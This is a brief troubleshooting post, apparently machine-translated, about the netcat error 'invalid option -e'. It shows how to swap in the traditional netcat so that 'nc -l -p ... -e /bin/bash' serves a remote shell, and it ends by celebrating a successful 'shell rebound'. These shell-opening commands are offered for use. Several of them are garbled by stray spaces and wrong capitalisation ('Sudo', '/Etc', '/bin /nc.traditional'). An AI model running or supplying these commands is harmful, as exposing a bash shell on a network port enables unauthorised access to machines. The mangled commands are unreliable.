Nc: invalid option — ‘e’ error solution

  
                  

An error occurred when nc bounced the shell nc: invalid option — ‘e’ This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package.

Fixing ideas

$ which nc /bin/nc $ ls -ld /bin/nc lrwxrwxrwx 1 root root 20 October 24 2012 /bin/nc -> /etc/alternatives/nc $ ls -ld /Etc/alternatives/nc lrwxrwxrwx 1 root root 19 February 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional Actually we are looking for this file /bin/nc.traditional : $ /bin /nc.openbsd -l -p 9999 -e /bin/bash /bin/nc.openbsd: invalid option -- 'e' usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port ] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [hostname] [port[s]] $ /bin/nc.traditional -l -p 9999 -e /bin/bash ^C $

Combined with the above output message, we can fix it with the following command:

$ sudo rm /etc/alternatives/nc && Sudo ln -s /bin /nc.traditional /etc/alternatives/nc

Try again after repairing, no shell error, the shell rebounded successfully!

$ nc -l 192.168.2.180 -p 12345 -e /bin/bash

Copyright © Windows knowledge All Rights Reserved